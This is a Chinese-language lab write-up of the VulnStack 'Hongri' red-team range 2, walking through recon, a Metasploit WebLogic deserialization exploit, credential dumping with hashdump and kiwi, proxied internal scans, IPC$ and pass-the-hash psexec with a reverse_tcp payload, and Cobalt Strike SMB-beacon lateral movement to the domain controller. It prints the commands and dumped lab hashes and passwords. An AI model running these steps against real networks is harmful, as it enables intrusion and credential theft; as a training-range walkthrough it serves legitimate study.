
欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注
很久之前打了第一个靶场,但是打的不全,不舒坦,不够彻底,由于一直报rpc连接失败所以有的步骤不顺,这次学了一点小小的免杀技巧,过来带着练习的心态学学这个靶场。

欢迎一起打靶场呀!
0、环境搭建(难点)
环境搭建参考:漏洞详情 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二) - yokan - 博客园
红日靶场二 WalkThrough – Crispr –热爱技术和生活
记得要在web机子里面手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX 而且,最好把三个主机都要开到快照v1.3.
一进去web机,就会跳出来一个360的东西:

输入Administrator密码1qaz@WSX,发现开启了360:

但是接着就发现无法访问:C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic,于是改用de1ay\de1ay用户登录,密码为1qaz@WSX,然后访问C:\Oracle\Middleware\user_projects\domains\base_domain\bin文件夹,发现会提示用管理员身份才能访问,输入Administrator密码1qaz@WSX就可以访问这个文件夹了,然后运行如图的bat文件:


弹出一个窗口,自动等待就可以。然后可以去看services.msc里面有没有weblogic(我没看到),或者nmap再扫描一次,发现这次开了7001端口的weblogic:

发现了一个很奇怪的地方,为什么nmap扫得到,但是ping不通呢??禁止icmp报文?
注意,一定要看到weblogic开启了:

才能扫到7001端口
一、外网探测
我是kali和win7联合攻击,kali的ip是192.168.111.128 win7是192.168.111.136或者192.168.111.129
nmap -sn 192.168.111.0/24探测出存活主机除了我的攻击机子还有192.168.111.80,所以这就是web机子:
进一步:nmap -A -sV 192.168.111.80得到:
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-10-20T09:57:12
|_Not valid after: 2049-10-20T09:57:12
|_ssl-date: 2019-10-21T03:07:57+00:00; -1y335d05h44m07s from scanner time.
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2019-10-21T03:07:57+00:00; -1y335d05h44m06s from scanner time.
7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
|_http-title: Error 404--Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
开了80,135,137,445,很容易想到永恒之蓝攻击,ipc$攻击,psexec攻击admin$开放的主机。web服务器192.168.111.80的os是win2K8R2 3389开了说不定还是远程登录。7001很明显是Oracle WebLogic Server (Servlet 2.5; JSP 2.1)。这个容器历史漏洞还是挺多的。
二、找外网突破口
大佬的思路:
开放了几个高危端口都存在利用之出,445端口开放即存在smb服务,存在smb服务就可能存在ms17-010端口溢出漏洞,开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞,1433端口则说明该服务器部署mssql,可能存在mssql弱口令从而通过mssql命令执行及提权等操作,7001端口开放WebLogic Server,由于是WEB服务器,因此可以先从weblogic入手。
2.1思路一用1433端口爆破mssql登录然后提权写shell
hydra -L /tmp/2.txt -P /tmp/3.txt 192.168.111.80 mssql -vv
但是我发现:在使用浏览器访问192.168.111.80的1433端口的时候,出现了这个问题,会不会是web机拒绝非本地连接呢?

不管了先爆破试试:

看到这句的时候瞬间否定了这个思路:
[STATUS] 3934.00 tries/min, 3934 tries in 00:01h, 4465724 to do in 18:56h, 16 active
2.2weblogic现有漏洞getshell(试了几个弱口令看来登不进去)
后台路径:
Weblogic常用端口:7001
Weblogic后台登录地址:
输入 http://your-ip:7001/console 即可进入后台

weblogic活跃版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
weblogic历史漏洞
#控制台路径泄露
Weakpassword
#SSRF:
CVE-2014-4210
#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
#任意文件上传
CVE-2018-2894
#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506
用weblogicScan查找可能存在的历史漏洞:
下载链接:GitHub - 0xn0ne/weblogicScanner: weblogic2020年8月前所有漏洞
如果没有权限可以用: chmod -R 777 【文件夹名字】 给文件夹下所有文件赋予权限
然后ws.py -t 192.168.111.80:

然后用java反序列化终极工具:Java反序列化终极测试工具 - K.Fire's Blog
结果在win7和kali均报错:
ked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Exception in thread "main" java.lang.NoClassDefFoundError: javafx/application/Application
at java.base/java.lang.ClassLoader.defineClass1(Native Method)
at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
at java.base/java.security.SecureClassLoader.defineClass(SecureClassLoader.java:174)
at java.base/java.net.URLClassLoader.defineClass(URLClassLoader.java:550)
at java.base/java.net.URLClassLoader$1.run(URLClassLoader.java:458)
at java.base/java.net.URLClassLoader$1.run(URLClassLoader.java:452)
at java.base/java.security.AccessController.doPrivileged(Native Method)
at java.base/java.net.URLClassLoader.findClass(URLClassLoader.java:451)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:589)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:522)
at java.base/java.lang.Class.forName0(Native Method)
at java.base/java.lang.Class.forName(Class.java:398)
刚好大佬“msf”中也有cve-2019-2725的利用模块:(用2019年4月的那个异步反序列化的洞)
search weblogic
use 4
options
set target 1(因为默认target为0是针对unix系统的,而这里的靶机是windows)
set rhosts 192.168.111.80
set lhost 192.168.111.128
run4 exploit/multi/misc/weblogic_deserialize_asyncresponseservice 2019-04-23 excellent Yes Oracle Weblogic Server Deserialization RCE - AsyncResponseService

第一次没打进去,第二次才进去的。。。有时候渗透就是这样,看运气。
2.3先mssql登录查找到weblogic的后台密码,再利用weblogic的已知漏洞(进不去mssql所以没办法)
三、getshell之后的内网渗透准备
msf已经getshell了,现在能做的就有很多。比如:派生一个cs会话,转入win7cs渗透。挂代理进一步扫描内网。先挖本机的信息,彻底控下本机控稳之后再横移到别的内网机子。。。。。
3.0从杀软提出关于windows用户间文件共享和进程共通的问题
这个时候衍生一个重要问题:这台web机子上明明是有杀软360的,但是我没有做任何免杀,就可以得到一个反弹的shell??问了大佬大概有以下几个答案:
1.360版本太低杀不了我的shell
2、我是用de1ay这个域的域管administrator登录的,而我目前用de1ay域下的de1ay用户登录web机子,发现了杀软360,所以猜测会不会是这两个用户之间文件不共通,所以导致我反弹了一个administrator的shell,却不是反弹de1ay用户的shell??这个猜测很快被否定了:因为:

当我用de1ay用户登录web机的时候(事实上不管用什么账户登录),都会提示你输入管理员密码才能运行360,(和sudo一个原理),也就是说(问了2个大佬之后的结论)


所以这个问题的答案就是:360版本太低,杀不了我的反弹shell。。。
3.1先挖掘本机信息(arp、路由、杀软、防火墙、3389、hash密码、域内信息等)
arp:发现目前以域管理员身份登录本机,域名叫做de1ay,看arp表里面还有10.10.10.10这个机子,就想本机会不会还有一个ip叫做10.10.10.10,

ipconfig:果然,本机还有一个ip是10.10.10.10

sysinfo:电脑叫做名字叫做web。是win2008R2的sp1 os 中文64位

进入shell,用谢公子的办法判断当前登录的用户就是域de1ay的域管理员:

3.1.1net view报错6118
但是奇怪的是net view报错6118,查了才知道是:
net view 提示6118错误 解决方法。 - feiquan - 博客园

我进去后发现:
service已经启动
![]()
workstation已经启动,但是computer brower是禁用的,开启,但是发现de1ay账户无法开启,需要administrator:

这个时候,我再次使用msf去反弹一个web机的shell,执行net view这类的域命令,发现还是一样的6118错误,,重启?没啥问题:
3.1.2Handler failed to bind to 192.168.110.128:4444的msf报错
可能的原因是:kali的ip已经换了,重新获得即可;端口占用,kill就好
3.1.3发现不能使用一些net命令的原因
如果报错是:acess deny权限问题的话
和一个大哥探讨了一下午,实验得出的结论大概是:
1、需要重新以域管理员身份登录dc,改密码
(boss说,之前我们能够得到鱼贯的账号密码,但是却不能以鱼贯身份执行服务,说明即使鱼贯的密码过期,但是依旧可以认证,也就是得到kerbores协议的as,但是无法得到kerboros协议的TS-------我知道你是鱼贯,但是你没法执行一些服务)
用de1ay\administrator登录dc机,会提示我们要改密码,改为hongrisec@2019,然后测试之前的net view 命令,貌似可以了

也就是说,我们之前用msf直接攻击了weblogic,得到的鱼贯,是密码过期的鱼贯。。在修改了鱼贯的密码之后,以鱼贯的身份启动weblogic,然后再用msf打一次:

输入tasklist之后发现360安全卫士:

3.2域内信息收集
net time /domain查域控 net view 查域内主机:

居然无法发现PC机子??可能的原因:1.没登录这台机子,2、pc机子的防火墙没关
经过测试发现都不是这两个原因,而是因为有的命令就是检查不到
net group "domain computers" /domain #查看域内所有的主机名 net view是查看共享资源的主机,上述命令查找所有加入域的主机,,所以有所不同。后者包含前者。毕竟一台主机可能加入了域但是没开共享。
ping命令发现dc是10.10.10.10,pc是10.10.10.201,但pc机ping不通(可能是防火墙,或者设置了禁止ping的)

net user /domain查看域内用户:
C:\Oracle\Middleware\user_projects\domains\base_domain>net user /domain
net user /domain
The request will be processed at a domain controller for domain de1ay.com.
User accounts for \\DC.de1ay.com-------------------------------------------------------------------------------
Administrator de1ay Guest
krbtgt mssql
The command completed successfully.
3.2.0初步域信息整理
域名 de1ay 杀软:360安全卫士
域内主机:三台 DC(10.10.10.10) PC (10.10.10.201) WEB(10.10.10.80 和192.168.111.80 win2008R2)
域用户:Administrator de1ay Guest krbtgt mssql
补丁: [01]: KB2999226
[02]: KB958488
[03]: KB976902
攻击思路
3.2.1尝试直接新建具有鱼贯权限的用户hack,密码为1qaz@wsx,然后开3389远程登录 (不推荐)
windows系统通过cmd开启3389命令集合 - WarHut - 作战小屋
这个地方十分玄学,我也搞不懂,发现360有时候会拦截说你在创建用户,有时候不会。
然后尝试把hack用户加入到本机的本地管理员组里面:
net localgroup administrators de1ay.com/hack /add
然后我一直尝试开启3389,就是打不开。。这个方法放弃!
mimikatz先常规抓取下内存中的NTML hash(这里可以使用msf自带的猕猴桃,也可以自己传免杀猕猴桃,还可以派生一个cs会话然后用cs的hashdump工具,甚至可以试着直接关闭杀软)
3.2.2msf自带的猕猴桃抓hash
run hashdump 报错,提示要提权到system权限,getsystem提权失败。
于是尝试迁移到一个64位的system进程中,
ps命令执行后:
3540 3896 csrss.exe x64 2 NT AUTHORITY\SYSTEM

迁移后得到权限,再次尝试run hashdump,得到:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
hack:1009:aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0:::
也可以直接kiwi抓明文密码,参考我的另一篇博客2021-7-7红日团队靶场一_热热的雨夜的博客-CSDN博客_红日靶场一
同时,抓取hash的方式也可以参考我的博客:内网渗透作业2(mimikatz、pwdump/procdump/LaZagne/nmap)_热热的雨夜的博客-CSDN博客
但是特么得 解密之后都是空密码就离谱。。。
想要用kiwi:MSF中kiwi模块的使用_m0_53087192的博客-CSDN博客
得到:
kerberos credentials
====================Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator DE1AY.COM hongrisec@2019
Administrator DE1AY.COM 1qaz@WSX
administrator DE1AY.COM hongrisec@2019
de1ay DE1AY.COM 1qaz@WSX
mssql DE1AY.COM 1qaz@WSX
web$ DE1AY.COM c0 66 b0 bd 5b cd 24 aa 95 d6 8e b5 95 6c 08 a2 39 f5 77 fd 0c 04 7d 45 c4 af 66 c3 08 07 4e f2 0f 51 bd ed 54 50 a6 9a 5c 50 fd a0 1f b0 6b 8e 23 d9 07 b8 77 dc 60 e9 bc 7f db 05 25 16 5e 93 ad 31 93 88 23 aa f5 0c 70 4b 0e 60 74 04 9d d7 e4 0e 5c da 5f c5 a4 3d 1d 51 c0 37 bd 98 e8 68 c8 59 4f 1e 32 9c d4 d9 a2 fc 66 1d 10 22 8e 6a 41 8c d7 f9 9a a8 24 49 7e b1 6d 25 b3 60 64 f7 9a 47 d7 e8 cf f3 bb 9d e6 ef 57 64 48 16 53 ea 6e be c2 05 42 b2 84 c1 34 2e 86 9f f7 0e 08 95 0a 8b 12 86 a1 34 46 61 a7 bf 9b d7 22 90 b7 63 2f 57 f3 38 ee c1 29 a4 4c e9 ea f2 07 73 e5 6f 10 c7 9c 15 34 0f ae 1a d2 c4 51 2a 98 b6 b3 2e b6 e8 62 71 c4 29 88 89 47 29 25 5c 03 2d 2e 95 cb 45 0b a5 c1 a4 63 54 7e b5 e5 64 6c 29 f8 5a
3.2.3自己传免杀猕猴桃抓
Mimikatz的18种免杀姿势及防御策略_Xor0ne-CSDN博客_mimikatz免杀
也是空密码
四、改路由(或者挂代理)进一步收集域内别的主机情况(比如端口服务等)
用ew或者frpc挂了代理之后,nmap直接扫描:
proxychains nmap -sS -Pn 10.10.10.0/24
首先尝试速度快的SYN扫描,但是失败了,考虑到可能是存在边界设备拦截了某些类型的扫描数据包 。报错是failed,推测可能是做了 防御,直接返回rst数据包响应。所以tcp的扫描没办法。那么如果是端口全开放的蜜罐呢???用-sV参数,可能可以识别出服务,用具体服务来识别真正开放的端口(从这个角度讲用port advanced scan也是一样的原理),还有一种思路就是写发包的脚本,根据返回的网页的md5判断是否真的开启服务(可以用aio异步发包极大地提高效率)
尝试nmap的别的手段:
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 10.10.10.10
接着试试看msf自带的udp_sweep扫描,这个是基于udp的,需要在msf中加路由:
run autoroute -s 10.10.10.0/24
search udp_sweep
use 0
options
set rhosts 10.10.10.0/24
set thread 50
run特定的服务扫描比如smb:
使用 auxiliary/scanner/smb/smb_version 模块进行探测
截止目前,得到的信息是:
域名 de1ay 杀软:360安全卫士 ()
域内主机:三台 DC(10.10.10.10 win2012R2 开放135/137/139/445) PC (10.10.10.201 win7有杀软 开137/139/445) WEB(10.10.10.80 和192.168.111.80 win2008R2 有杀软 开80/7001/3389/1433)
域用户:Administrator de1ay Guest krbtgt mssql
补丁: [01]: KB2999226
[02]: KB958488
[03]: KB976902Administrator DE1AY.COM hongrisec@2019
Administrator DE1AY.COM 1qaz@WSX
administrator DE1AY.COM hongrisec@2019
de1ay DE1AY.COM 1qaz@WSX
mssql DE1AY.COM 1qaz@WSX
五、msf后渗透
先用msf,再用cs。msf打PC机子
5.1IPC$攻击(不容易被杀,属于进程间通信,但是如果用这个ipc管道去传马,这个马可能被杀,取决于杀软)
net use \\10.10.10.201\ipc$ "hongrisec@2019" /user:Administrator

copy马并执行见:
Windows使用dos命令建立ipc$连接并远程拷贝文件_新风s的博客-CSDN博客_建立ipc$连接的命令

5.2PTH攻击
因为别的内网机器 都开了445,并且我们已经拿到了鱼贯的hash所以可以使用msf自带的pth攻击模板进行横移。
之前得到的hash:
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator DE1AY edea194d76c77d87840ac10a764c7362 8a963371a63944419ec1adf687bb1be5 343f44056ed02360aead5618dd42e4614b5f70cf
Administrator DE1AY f67ce55ac831223dc187b8085fe1d9df 161cff084477fe596a5db81874498a24 d669f3bccf14bf77d64667ec65aae32d2d10039d
WEB$ DE1AY c991c7c404a36863b231ee940fd96f78 7e19bdf980a1476cec1083e46e8d7ece91325430
de1ay DE1AY f67ce55ac831223dc187b8085fe1d9df 161cff084477fe596a5db81874498a24 d669f3bccf14bf77d64667ec65aae32d2d10039d
mssql DE1AY f67ce55ac831223dc187b8085fe1d9df 161cff084477fe596a5db81874498a24 d669f3bccf14bf77d64667ec65aae32d2d10039d
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 本机
msf exploit(psexec) > set rhost 目标
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 6d181cfaad0258eaaad3b435b51404ee:9d482ae1705fd48c581e20a4123fb0dc # 冒号前面为LM后面为NTLM
msf exploit(psexec) > exploit
哈希传递攻击(Pass-the-Hash)_whoim_i的博客-CSDN博客_hash传递
5.3cs的攻击(思路和msf一样,工具只是表象,原理才是本质)
先写到这一步,接下来需要休息。。很累了。。我们还要培训哭………………
10月3日,终于可以继续了,来吧奥利给!
5.3.1msf派生会话到cs:
1、在cs上开启一个内部监听:ip为监听器的ip,一般是本地或者c2的ip,端口也是。

2、在msf上使用:

3、发现cs上得到了msf的会话:

5.3.2 cs的提权
直接右键会话,选择自带的elevate模块(旧版没有)。ms14-058就可以提权到system

5.3.3cs的信息收集
在右键目标的时候发现net view:有dc和web,没有pc,因为pc带有防火墙,教程说防火墙要关掉,但是我想着直接打dc。
菜单4:Pivot Graph(拓扑图)
如图所示,该视图可以很清楚地查看各主机之间的关系,该视图在大规模内网渗透和APT中非常直观和实用。


5.3.4 smb beacon横移psexec打内网
用portscan探测到三台主机,,,都开了445.永恒之蓝的commmand洞,但是出于隐蔽考虑,在445开了的情况下,我还是选择了smb管道:
参考文章:CS 4.0 SMB Beacon
引用:
SMB Beacon 的使用场景是:
Klion《CobatStrike 各个协议监听器及 payload 详细用法 》:
当前已拿到了目标内网中的一台机器的 beacon shell,然后又通过其它方式搞到了同内网下的另一台 windows 机器的本地administrator密码且这台机器的 SMB[445 端口]能正常通。不幸的是、由于各种各样的原因限制,那台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了,那么其他那些反向监听器也就全都用不上了,而我现在就想通过当前仅有的这个 beacon shell 能不能把内网那台不能正常访问外网的机器也一块给带出来呢?答案是肯定的,bind_pipe就是专为适应这种实战场景而设计的。
1.创建一个smb beacon监听器 不同版本可能不同界面,但是原理一样

2、建立一个共享通道到目标机子

3.psexe传递smb管道,jump到目标机子
失败了,因为cs版本太低。要4.0才可以。。
写到这里我已经心很累了……不写了
——————————————————————————————
哎呀妈呀真香,看了奇安信的手册,发现自己犯了一个致命的错误,导致smb beacon使用不成功的,那是因为自己压根没有选对选项(英文不好真是b了dog了)
下面的操作和上面的1.2.3命令行是一样的:
选择目标形式显示内网能打的目标:

选择dc,右键,psexec:


成功的结果:(以smb beacon的形式创建从web机子到dc机子的smb管道通信)


最终拓扑(msf已经打下了pc机,在这里不重复)
